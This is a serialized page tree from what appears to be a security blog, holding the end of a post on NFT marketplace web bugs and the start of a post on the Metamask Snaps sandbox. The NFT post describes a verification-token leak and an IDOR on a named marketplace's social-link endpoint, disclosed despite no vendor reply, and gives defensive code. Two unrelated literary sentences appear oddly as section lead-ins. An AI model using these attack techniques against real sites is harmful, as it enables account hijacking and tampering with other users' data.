}\n",{"type":24,"tag":158,"props":36013,"children":36014},{"class":160,"line":1447},[36015,36019,36023],{"type":24,"tag":158,"props":36016,"children":36017},{"style":33637},[36018],{"type":29,"value":35630},{"type":24,"tag":158,"props":36020,"children":36021},{"style":165},[36022],{"type":29,"value":33677},{"type":24,"tag":158,"props":36024,"children":36025},{"style":33637},[36026],{"type":29,"value":7642},{"type":24,"tag":158,"props":36028,"children":36029},{"class":160,"line":1509},[36030,36034,36038],{"type":24,"tag":158,"props":36031,"children":36032},{"style":33637},[36033],{"type":29,"value":35646},{"type":24,"tag":158,"props":36035,"children":36036},{"style":165},[36037],{"type":29,"value":35536},{"type":24,"tag":158,"props":36039,"children":36040},{"style":33637},[36041],{"type":29,"value":7642},{"type":24,"tag":25,"props":36043,"children":36044},{},[36045],{"type":29,"value":36046},"As a result, we're able to prevent the user from loading images.",{"type":24,"tag":59,"props":36048,"children":36050},{"id":36049},"authentication",[36051],{"type":29,"value":36052},"Authentication",{"type":24,"tag":25,"props":36054,"children":36055},{},[36056],{"type":24,"tag":32,"props":36057,"children":36058},{},[36059,36061,36068],{"type":29,"value":36060},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":24,"tag":101,"props":36062,"children":36065},{"href":36063,"rel":36064},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[105],[36066],{"type":29,"value":36067},"great misfortune has occured",{"type":29,"value":347},{"type":24,"tag":395,"props":36070,"children":36072},{"id":36071},"verification-token-leakage",[36073],{"type":29,"value":36074},"Verification Token Leakage",{"type":24,"tag":25,"props":36076,"children":36077},{},[36078],{"type":29,"value":36079},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":24,"tag":25,"props":36081,"children":36082},{},[36083],{"type":29,"value":36084},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":24,"tag":25,"props":36086,"children":36087},{},[36088,36093],{"type":24,"tag":32,"props":36089,"children":36090},{},[36091],{"type":29,"value":36092},"Proof of Concept",{"type":29,"value":36094},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":24,"tag":25,"props":36096,"children":36097},{},[36098],{"type":29,"value":36099},"Here's the breakdown.",{"type":24,"tag":25,"props":36101,"children":36102},{},[36103],{"type":29,"value":36104},"First, we send the verification link to a user's email:",{"type":24,"tag":32607,"props":36106,"children":36107},{"style":32609},[36108],{"type":24,"tag":84,"props":36109,"children":36113},{"src":36110,"alt":36111,"style":36112},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":24,"tag":25,"props":36115,"children":36116},{},[36117],{"type":29,"value":36118},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":24,"tag":395,"props":36120,"children":36122},{"id":36121},"idor",[36123],{"type":29,"value":36124},"IDOR",{"type":24,"tag":25,"props":36126,"children":36127},{},[36128],{"type":24,"tag":32,"props":36129,"children":36130},{},[36131,36133,36140],{"type":29,"value":36132},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":24,"tag":101,"props":36134,"children":36137},{"href":36135,"rel":36136},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[105],[36138],{"type":29,"value":36139},"insect",{"type":29,"value":347},{"type":24,"tag":25,"props":36142,"children":36143},{},[36144,36146,36152],{"type":29,"value":36145},"During a security assessment of the ",{"type":24,"tag":101,"props":36147,"children":36150},{"href":36148,"rel":36149},"https://rocki.com",[105],[36151],{"type":29,"value":32545},{"type":29,"value":36153},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":24,"tag":25,"props":36155,"children":36156},{},[36157],{"type":29,"value":36158},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":24,"tag":25,"props":36160,"children":36161},{},[36162],{"type":29,"value":36163},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":24,"tag":25,"props":36165,"children":36166},{},[36167,36169,36175,36177,36182],{"type":29,"value":36168},"Here is an example of a request that modifies another user's social media link to ",{"type":24,"tag":154,"props":36170,"children":36172},{"className":36171},[],[36173],{"type":29,"value":36174},"https://evil.com/",{"type":29,"value":36176},". To achieve this, we simply changed the ",{"type":24,"tag":154,"props":36178,"children":36180},{"className":36179},[],[36181],{"type":29,"value":5145},{"type":29,"value":36183}," field value to one that belongs to another user:",{"type":24,"tag":25,"props":36185,"children":36186},{},[36187],{"type":24,"tag":84,"props":36188,"children":36190},{"alt":7,"src":36189},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":24,"tag":25,"props":36192,"children":36193},{},[36194],{"type":29,"value":36195},"The following screenshot is the response to our request:",{"type":24,"tag":25,"props":36197,"children":36198},{},[36199],{"type":24,"tag":84,"props":36200,"children":36202},{"alt":7,"src":36201},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":24,"tag":59,"props":36204,"children":36206},{"id":36205},"preventative-action-steps-for-marketplaces",[36207],{"type":24,"tag":897,"props":36208,"children":36209},{},[36210],{"type":29,"value":36211},"Preventative Action Steps for Marketplaces",{"type":24,"tag":25,"props":36213,"children":36214},{},[36215],{"type":29,"value":36216},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":24,"tag":25,"props":36218,"children":36219},{},[36220,36222,36228,36230,36236],{"type":29,"value":36221},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":24,"tag":154,"props":36223,"children":36225},{"className":36224},[],[36226],{"type":29,"value":36227},"innerText",{"type":29,"value":36229}," instead of ",{"type":24,"tag":154,"props":36231,"children":36233},{"className":36232},[],[36234],{"type":29,"value":36235},"innerHTML",{"type":29,"value":36237}," in client-side:",{"type":24,"tag":147,"props":36239,"children":36241},{"className":32624,"code":36240,"language":32626,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[36242],{"type":24,"tag":154,"props":36243,"children":36244},{"__ignoreMap":7},[36245],{"type":24,"tag":158,"props":36246,"children":36247},{"class":160,"line":161},[36248,36252,36256,36261,36265,36270,36274,36278,36282,36287],{"type":24,"tag":158,"props":36249,"children":36250},{"style":177},[36251],{"type":29,"value":33969},{"type":24,"tag":158,"props":36253,"children":36254},{"style":188},[36255],{"type":29,"value":347},{"type":24,"tag":158,"props":36257,"children":36258},{"style":496},[36259],{"type":29,"value":36260},"getElementById",{"type":24,"tag":158,"props":36262,"children":36263},{"style":188},[36264],{"type":29,"value":504},{"type":24,"tag":158,"props":36266,"children":36267},{"style":1108},[36268],{"type":29,"value":36269},"'nftCollectionName'",{"type":24,"tag":158,"props":36271,"children":36272},{"style":188},[36273],{"type":29,"value":21986},{"type":24,"tag":158,"props":36275,"children":36276},{"style":177},[36277],{"type":29,"value":36227},{"type":24,"tag":158,"props":36279,"children":36280},{"style":222},[36281],{"type":29,"value":462},{"type":24,"tag":158,"props":36283,"children":36284},{"style":177},[36285],{"type":29,"value":36286}," nftCollectionName",{"type":24,"tag":158,"props":36288,"children":36289},{"style":188},[36290],{"type":29,"value":473},{"type":24,"tag":25,"props":36292,"children":36293},{},[36294],{"type":29,"value":36295},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":24,"tag":147,"props":36297,"children":36299},{"className":32624,"code":36298,"language":32626,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[36300],{"type":24,"tag":154,"props":36301,"children":36302},{"__ignoreMap":7},[36303],{"type":24,"tag":158,"props":36304,"children":36305},{"class":160,"line":161},[36306,36311,36316,36320,36325,36329,36334,36338,36343],{"type":24,"tag":158,"props":36307,"children":36308},{"style":165},[36309],{"type":29,"value":36310},"var",{"type":24,"tag":158,"props":36312,"children":36313},{"style":177},[36314],{"type":29,"value":36315}," sanitizedInput",{"type":24,"tag":158,"props":36317,"children":36318},{"style":222},[36319],{"type":29,"value":462},{"type":24,"tag":158,"props":36321,"children":36322},{"style":177},[36323],{"type":29,"value":36324}," DOMPurify",{"type":24,"tag":158,"props":36326,"children":36327},{"style":188},[36328],{"type":29,"value":347},{"type":24,"tag":158,"props":36330,"children":36331},{"style":496},[36332],{"type":29,"value":36333},"sanitize",{"type":24,"tag":158,"props":36335,"children":36336},{"style":188},[36337],{"type":29,"value":504},{"type":24,"tag":158,"props":36339,"children":36340},{"style":177},[36341],{"type":29,"value":36342},"userInput",{"type":24,"tag":158,"props":36344,"children":36345},{"style":188},[36346],{"type":29,"value":1071},{"type":24,"tag":25,"props":36348,"children":36349},{},[36350,36352,36359],{"type":29,"value":36351},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":24,"tag":101,"props":36353,"children":36356},{"href":36354,"rel":36355},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[105],[36357],{"type":29,"value":36358},"Content-Security-Policy",{"type":29,"value":36360}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":24,"tag":25,"props":36362,"children":36363},{},[36364],{"type":29,"value":36365},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":24,"tag":25,"props":36367,"children":36368},{},[36369,36371,36378],{"type":29,"value":36370},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":24,"tag":101,"props":36372,"children":36375},{"href":36373,"rel":36374},"https://www.techtarget.com/whatis/definition/whitelist",[105],[36376],{"type":29,"value":36377},"allow-list",{"type":29,"value":36379}," :",{"type":24,"tag":147,"props":36381,"children":36383},{"className":32624,"code":36382,"language":32626,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n throw new ApolloError('invalid domain');\n}\n",[36384],{"type":24,"tag":154,"props":36385,"children":36386},{"__ignoreMap":7},[36387,36416,36458,36488],{"type":24,"tag":158,"props":36388,"children":36389},{"class":160,"line":161},[36390,36394,36399,36403,36407,36412],{"type":24,"tag":158,"props":36391,"children":36392},{"style":165},[36393],{"type":29,"value":443},{"type":24,"tag":158,"props":36395,"children":36396},{"style":177},[36397],{"type":29,"value":36398}," allowDomains",{"type":24,"tag":158,"props":36400,"children":36401},{"style":222},[36402],{"type":29,"value":462},{"type":24,"tag":158,"props":36404,"children":36405},{"style":188},[36406],{"type":29,"value":24277},{"type":24,"tag":158,"props":36408,"children":36409},{"style":1108},[36410],{"type":29,"value":36411},"'https://allowed-domain'",{"type":24,"tag":158,"props":36413,"children":36414},{"style":188},[36415],{"type":29,"value":32835},{"type":24,"tag":158,"props":36417,"children":36418},{"class":160,"line":213},[36419,36423,36427,36431,36436,36440,36445,36449,36453],{"type":24,"tag":158,"props":36420,"children":36421},{"style":1914},[36422],{"type":29,"value":16815},{"type":24,"tag":158,"props":36424,"children":36425},{"style":188},[36426],{"type":29,"value":2262},{"type":24,"tag":158,"props":36428,"children":36429},{"style":222},[36430],{"type":29,"value":21865},{"type":24,"tag":158,"props":36432,"children":36433},{"style":177},[36434],{"type":29,"value":36435},"allowDomains",{"type":24,"tag":158,"props":36437,"children":36438},{"style":188},[36439],{"type":29,"value":347},{"type":24,"tag":158,"props":36441,"children":36442},{"style":496},[36443],{"type":29,"value":36444},"includes",{"type":24,"tag":158,"props":36446,"children":36447},{"style":188},[36448],{"type":29,"value":504},{"type":24,"tag":158,"props":36450,"children":36451},{"style":177},[36452],{"type":29,"value":33979},{"type":24,"tag":158,"props":36454,"children":36455},{"style":188},[36456],{"type":29,"value":36457},")) {\n",{"type":24,"tag":158,"props":36459,"children":36460},{"class":160,"line":238},[36461,36466,36470,36475,36479,36484],{"type":24,"tag":158,"props":36462,"children":36463},{"style":1914},[36464],{"type":29,"value":36465}," throw",{"type":24,"tag":158,"props":36467,"children":36468},{"style":165},[36469],{"type":29,"value":33194},{"type":24,"tag":158,"props":36471,"children":36472},{"style":496},[36473],{"type":29,"value":36474}," ApolloError",{"type":24,"tag":158,"props":36476,"children":36477},{"style":188},[36478],{"type":29,"value":504},{"type":24,"tag":158,"props":36480,"children":36481},{"style":1108},[36482],{"type":29,"value":36483},"'invalid domain'",{"type":24,"tag":158,"props":36485,"children":36486},{"style":188},[36487],{"type":29,"value":1071},{"type":24,"tag":158,"props":36489,"children":36490},{"class":160,"line":259},[36491],{"type":24,"tag":158,"props":36492,"children":36493},{"style":188},[36494],{"type":29,"value":307},{"type":24,"tag":25,"props":36496,"children":36497},{},[36498,36500,36507,36509,36516],{"type":29,"value":36499},"As ",{"type":24,"tag":101,"props":36501,"children":36504},{"href":36502,"rel":36503},"https://graphql.org/",[105],[36505],{"type":29,"value":36506},"GraphQl",{"type":29,"value":36508}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":24,"tag":101,"props":36510,"children":36513},{"href":36511,"rel":36512},"https://graphql.org/learn/introspection/",[105],[36514],{"type":29,"value":36515},"introspection",{"type":29,"value":36517}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":24,"tag":147,"props":36519,"children":36521},{"className":32624,"code":36520,"language":32626,"meta":7,"style":7},"const server = new ApolloServer({\n typeDefs,\n resolvers,\n introspection: false,\n});\n",[36522],{"type":24,"tag":154,"props":36523,"children":36524},{"__ignoreMap":7},[36525,36554,36566,36578,36594],{"type":24,"tag":158,"props":36526,"children":36527},{"class":160,"line":161},[36528,36532,36537,36541,36545,36550],{"type":24,"tag":158,"props":36529,"children":36530},{"style":165},[36531],{"type":29,"value":443},{"type":24,"tag":158,"props":36533,"children":36534},{"style":177},[36535],{"type":29,"value":36536}," server",{"type":24,"tag":158,"props":36538,"children":36539},{"style":222},[36540],{"type":29,"value":462},{"type":24,"tag":158,"props":36542,"children":36543},{"style":165},[36544],{"type":29,"value":33194},{"type":24,"tag":158,"props":36546,"children":36547},{"style":496},[36548],{"type":29,"value":36549}," ApolloServer",{"type":24,"tag":158,"props":36551,"children":36552},{"style":188},[36553],{"type":29,"value":16375},{"type":24,"tag":158,"props":36555,"children":36556},{"class":160,"line":213},[36557,36562],{"type":24,"tag":158,"props":36558,"children":36559},{"style":177},[36560],{"type":29,"value":36561}," typeDefs",{"type":24,"tag":158,"props":36563,"children":36564},{"style":188},[36565],{"type":29,"value":235},{"type":24,"tag":158,"props":36567,"children":36568},{"class":160,"line":238},[36569,36574],{"type":24,"tag":158,"props":36570,"children":36571},{"style":177},[36572],{"type":29,"value":36573}," resolvers",{"type":24,"tag":158,"props":36575,"children":36576},{"style":188},[36577],{"type":29,"value":235},{"type":24,"tag":158,"props":36579,"children":36580},{"class":160,"line":259},[36581,36586,36590],{"type":24,"tag":158,"props":36582,"children":36583},{"style":177},[36584],{"type":29,"value":36585}," introspection:",{"type":24,"tag":158,"props":36587,"children":36588},{"style":165},[36589],{"type":29,"value":859},{"type":24,"tag":158,"props":36591,"children":36592},{"style":188},[36593],{"type":29,"value":235},{"type":24,"tag":158,"props":36595,"children":36596},{"class":160,"line":280},[36597],{"type":24,"tag":158,"props":36598,"children":36599},{"style":188},[36600],{"type":29,"value":36601},"});\n",{"type":24,"tag":25,"props":36603,"children":36604},{},[36605,36607,36614,36616,36623],{"type":29,"value":36606},"Similarly, when ",{"type":24,"tag":101,"props":36608,"children":36611},{"href":36609,"rel":36610},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[105],[36612],{"type":29,"value":36613},"batching",{"type":29,"value":36615}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential ",{"type":24,"tag":101,"props":36617,"children":36620},{"href":36618,"rel":36619},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[105],[36621],{"type":29,"value":36622},"denial-of-service",{"type":29,"value":36624}," (DoS) attacks.",{"type":24,"tag":25,"props":36626,"children":36627},{},[36628],{"type":29,"value":36629},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":24,"tag":25,"props":36631,"children":36632},{},[36633],{"type":29,"value":36634},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":24,"tag":36636,"props":36637,"children":36638},"h1",{"id":30191},[36639],{"type":29,"value":20189},{"type":24,"tag":25,"props":36641,"children":36642},{},[36643],{"type":29,"value":36644},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":24,"tag":25,"props":36646,"children":36647},{},[36648],{"type":29,"value":36649},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":24,"tag":59,"props":36651,"children":36653},{"id":36652},"disclaimer",[36654],{"type":29,"value":36655},"Disclaimer",{"type":24,"tag":25,"props":36657,"children":36658},{},[36659],{"type":29,"value":36660},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":24,"tag":4517,"props":36662,"children":36663},{},[36664],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":36666},[36667,36670,36676,36680,36681],{"id":30274,"depth":213,"text":30277,"children":36668},[36669],{"id":4591,"depth":238,"text":4594},{"id":32468,"depth":213,"text":32498,"children":36671},[36672,36673,36674,36675],{"id":32517,"depth":238,"text":32520},{"id":32582,"depth":238,"text":32585},{"id":35414,"depth":238,"text":35417},{"id":35704,"depth":238,"text":35707},{"id":36049,"depth":213,"text":36052,"children":36677},[36678,36679],{"id":36071,"depth":238,"text":36074},{"id":36121,"depth":238,"text":36124},{"id":36205,"depth":213,"text":36211},{"id":36652,"depth":213,"text":36655},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":36686,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":36687,"description":36688,"author":36689,"image":36690,"date":36692,"isFeatured":16,"onBlogPage":16,"body":36693,"_type":4536,"_id":41709,"_source":4538,"_file":41710,"_stem":41711,"_extension":4541},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[32462,32461],{"src":36691,"height":14856,"width":14857},"/posts/metamask-snaps/header.png","2023-11-01",{"type":21,"children":36694,"toc":41690},[36695,36699,36704,36709,36714,36720,36725,36731,36744,36749,36754,36761,36793,36799,36804,36822,36829,36835,36849,36855,36875,37139,37167,37173,37192,37578,37597,37610,37928,37949,38220,38225,38231,38236,38249,38254,38267,38526,38570,38583,38589,38603,38609,38615,38628,38665,38671,38691,38802,38829,38835,38853,38866,38872,38877,38895,39006,39011,39032,39045,39062,39162,39188,39205,39327,39353,39365,39370,39376,39382,39387,39410,39415,39420,39426,39432,39459,39862,39889,39916,39922,39953,40262,40281,40286,40311,40324,40330,40357,40652,40688,40706,40711,40746,40751,40755,40760,40767,40772,40799,41576,41596,41602,41623,41672,41676,41681,41686],{"type":24,"tag":59,"props":36696,"children":36697},{"id":20198},[36698],{"type":29,"value":20201},{"type":24,"tag":25,"props":36700,"children":36701},{},[36702],{"type":29,"value":36703},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":24,"tag":25,"props":36705,"children":36706},{},[36707],{"type":29,"value":36708},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":24,"tag":25,"props":36710,"children":36711},{},[36712],{"type":29,"value":36713},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":24,"tag":59,"props":36715,"children":36717},{"id":36716},"sandbox-security",[36718],{"type":29,"value":36719},"Sandbox Security",{"type":24,"tag":25,"props":36721,"children":36722},{},[36723],{"type":29,"value":36724},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":24,"tag":395,"props":36726,"children":36728},{"id":36727},"permission-based-security",[36729],{"type":29,"value":36730},"Permission-based security",{"type":24,"tag":25,"props":36732,"children":36733},{},[36734,36736,36742],{"type":29,"value":36735},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":24,"tag":154,"props":36737,"children":36739},{"className":36738},[],[36740],{"type":29,"value":36741},"snap.manifest.json",{"type":29,"value":36743}," file and can be critical to security.",{"type":24,"tag":25,"props":36745,"children":36746},{},[36747],{"type":29,"value":36748},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":24,"tag":25,"props":36750,"children":36751},{},[36752],{"type":29,"value":36753},"Here are the critical permissions possible to be given to a snap:",{"type":24,"tag":25,"props":36755,"children":36756},{},[36757],{"type":24,"tag":84,"props":36758,"children":36760},{"alt":7,"src":36759},"/posts/metamask-snaps/permissions.png",[],{"type":24,"tag":17924,"props":36762,"children":36763},{},[36764,36782],{"type":24,"tag":1790,"props":36765,"children":36766},{},[36767,36773,36774,36780],{"type":24,"tag":154,"props":36768,"children":36770},{"className":36769},[],[36771],{"type":29,"value":36772},"snap_getBip44Entropy",{"type":29,"value":1826},{"type":24,"tag":154,"props":36775,"children":36777},{"className":36776},[],[36778],{"type":29,"value":36779},"snap_getBip32Entropy",{"type":29,"value":36781}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":24,"tag":1790,"props":36783,"children":36784},{},[36785,36791],{"type":24,"tag":154,"props":36786,"children":36788},{"className":36787},[],[36789],{"type":29,"value":36790},"endowment:transaction-insight",{"type":29,"value":36792}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":24,"tag":395,"props":36794,"children":36796},{"id":36795},"snap-execution-environment",[36797],{"type":29,"value":36798},"Snap execution environment",{"type":24,"tag":25,"props":36800,"children":36801},{},[36802],{"type":29,"value":36803},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":24,"tag":1786,"props":36805,"children":36806},{},[36807,36812,36817],{"type":24,"tag":1790,"props":36808,"children":36809},{},[36810],{"type":29,"value":36811},"An isolated iframe",{"type":24,"tag":1790,"props":36813,"children":36814},{},[36815],{"type":29,"value":36816},"LavaMoat",{"type":24,"tag":1790,"props":36818,"children":36819},{},[36820],{"type":29,"value":36821},"SES (Secure EcmaScript)",{"type":24,"tag":25,"props":36823,"children":36824},{},[36825],{"type":24,"tag":84,"props":36826,"children":36828},{"alt":7,"src":36827},"/posts/metamask-snaps/environment.png",[],{"type":24,"tag":395,"props":36830,"children":36832},{"id":36831},"isolated-iframe-layer-1",[36833],{"type":29,"value":36834},"Isolated Iframe - Layer 1",{"type":24,"tag":25,"props":36836,"children":36837},{},[36838,36840,36847],{"type":29,"value":36839},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":24,"tag":101,"props":36841,"children":36844},{"href":36842,"rel":36843},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[105],[36845],{"type":29,"value":36846},"Iframe",{"type":29,"value":36848}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":24,"tag":20134,"props":36850,"children":36852},{"id":36851},"the-framework-metamask-extension-repo",[36853],{"type":29,"value":36854},"The Framework: Metamask-Extension Repo",{"type":24,"tag":25,"props":36856,"children":36857},{},[36858,36860,36866,36868,36874],{"type":29,"value":36859},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":24,"tag":154,"props":36861,"children":36863},{"className":36862},[],[36864],{"type":29,"value":36865},"metamask-controller.js",{"type":29,"value":36867}," file. Here's a glimpse of the relevant ",{"type":24,"tag":101,"props":36869,"children":36872},{"href":36870,"rel":36871},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[105],[36873],{"type":29,"value":154},{"type":29,"value":225},{"type":24,"tag":147,"props":36876,"children":36880},{"className":36877,"code":36878,"language":36879,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[36881],{"type":24,"tag":154,"props":36882,"children":36883},{"__ignoreMap":7},[36884,36892,36900,36920,36968,37003,37020,37028,37070,37077,37084,37092,37120,37132],{"type":24,"tag":158,"props":36885,"children":36886},{"class":160,"line":161},[36887],{"type":24,"tag":158,"props":36888,"children":36889},{"style":2588},[36890],{"type":29,"value":36891},"// Import snaps-controllers\n",{"type":24,"tag":158,"props":36893,"children":36894},{"class":160,"line":213},[36895],{"type":24,"tag":158,"props":36896,"children":36897},{"style":2588},[36898],{"type":29,"value":36899},"// ...\n",{"type":24,"tag":158,"props":36901,"children":36902},{"class":160,"line":238},[36903,36907,36912,36916],{"type":24,"tag":158,"props":36904,"children":36905},{"style":165},[36906],{"type":29,"value":443},{"type":24,"tag":158,"props":36908,"children":36909},{"style":177},[36910],{"type":29,"value":36911}," snapExecutionServiceArgs",{"type":24,"tag":158,"props":36913,"children":36914},{"style":222},[36915],{"type":29,"value":462},{"type":24,"tag":158,"props":36917,"children":36918},{"style":188},[36919],{"type":29,"value":210},{"type":24,"tag":158,"props":36921,"children":36922},{"class":160,"line":259},[36923,36928,36932,36937,36941,36946,36950,36955,36959,36964],{"type":24,"tag":158,"props":36924,"children":36925},{"style":177},[36926],{"type":29,"value":36927}," iframeUrl:",{"type":24,"tag":158,"props":36929,"children":36930},{"style":165},[36931],{"type":29,"value":33194},{"type":24,"tag":158,"props":36933,"children":36934},{"style":496},[36935],{"type":29,"value":36936}," URL",{"type":24,"tag":158,"props":36938,"children":36939},{"style":188},[36940],{"type":29,"value":504},{"type":24,"tag":158,"props":36942,"children":36943},{"style":177},[36944],{"type":29,"value":36945},"process",{"type":24,"tag":158,"props":36947,"children":36948},{"style":188},[36949],{"type":29,"value":347},{"type":24,"tag":158,"props":36951,"children":36952},{"style":177},[36953],{"type":29,"value":36954},"env",{"type":24,"tag":158,"props":36956,"children":36957},{"style":188},[36958],{"type":29,"value":347},{"type":24,"tag":158,"props":36960,"children":36961},{"style":177},[36962],{"type":29,"value":36963},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":24,"tag":158,"props":36965,"children":36966},{"style":188},[36967],{"type":29,"value":8382},{"type":24,"tag":158,"props":36969,"children":36970},{"class":160,"line":280},[36971,36976,36981,36985,36990,36994,36999],{"type":24,"tag":158,"props":36972,"children":36973},{"style":177},[36974],{"type":29,"value":36975}," messenger:",{"type":24,"tag":158,"props":36977,"children":36978},{"style":165},[36979],{"type":29,"value":36980}," this",{"type":24,"tag":158,"props":36982,"children":36983},{"style":188},[36984],{"type":29,"value":347},{"type":24,"tag":158,"props":36986,"children":36987},{"style":177},[36988],{"type":29,"value":36989},"controllerMessenger",{"type":24,"tag":158,"props":36991,"children":36992},{"style":188},[36993],{"type":29,"value":347},{"type":24,"tag":158,"props":36995,"children":36996},{"style":496},[36997],{"type":29,"value":36998},"getRestricted",{"type":24,"tag":158,"props":37000,"children":37001},{"style":188},[37002],{"type":29,"value":16375},{"type":24,"tag":158,"props":37004,"children":37005},{"class":160,"line":301},[37006,37011,37016],{"type":24,"tag":158,"props":37007,"children":37008},{"style":177},[37009],{"type":29,"value":37010}," name:",{"type":24,"tag":158,"props":37012,"children":37013},{"style":1108},[37014],{"type":29,"value":37015}," 